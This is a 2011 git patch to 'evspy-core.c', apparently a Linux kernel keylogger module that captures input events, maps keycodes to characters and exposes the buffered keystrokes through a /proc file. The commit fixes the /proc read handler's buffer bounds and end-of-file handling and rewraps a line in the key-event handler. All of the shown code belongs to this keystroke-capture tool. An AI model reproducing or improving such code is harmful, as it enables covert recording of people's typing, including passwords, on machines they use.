From 20faeb55d16bdb78c5f85ec52737816d7d9aa629 Mon Sep 17 00:00:00 2001 From: Guillermo Ramos Date: Tue, 1 Nov 2011 21:58:08 +0100 Subject: NOW fixed read-from-proc bug And 100% sure --- evspy-core.c | 15 ++++++++------- 1 file changed, 8 insertions(+), 7 deletions(-) diff --git a/evspy-core.c b/evspy-core.c index 6acfd30..64f5960 100644 --- a/evspy-core.c +++ b/evspy-core.c @@ -47,19 +47,19 @@ static int evspy_read_proc(char *page, char **start, off_t offset, int count, *eof = 1; else strncpy(page, "Trololololo lololo lololo\nhohohoho\n", n); - return n; #else return -EPERM; #endif } else { // copy fifo contents to the supplied buffer - n = offset + kfifo_out(&cbuffer, page+offset, - min((int)PAGE_SIZE, count)); + if (offset + count > PAGE_SIZE) + count = PAGE_SIZE - offset; - if (n == offset) - *eof = 1; + n = offset + kfifo_out(&cbuffer, page+offset, count); - return n; + if (kfifo_is_empty(&cbuffer)) + *eof = 1; } + return n; } /* @@ -160,7 +160,8 @@ static void evspy_event(struct input_handle *handle, unsigned int type, return; // Special/unknown keys (alt, ctrl, esc, shift, etc) - } else if (code >= sizeof(map) || (map[code] == '.' && likely(code != KEY_DOT))) { + } else if (code >= sizeof(map) || (map[code] == '.' && + likely(code != KEY_DOT))) { special_char(code, value); // "Immediate" keys (alphanumeric + some symbols) -- cgit v1.2.3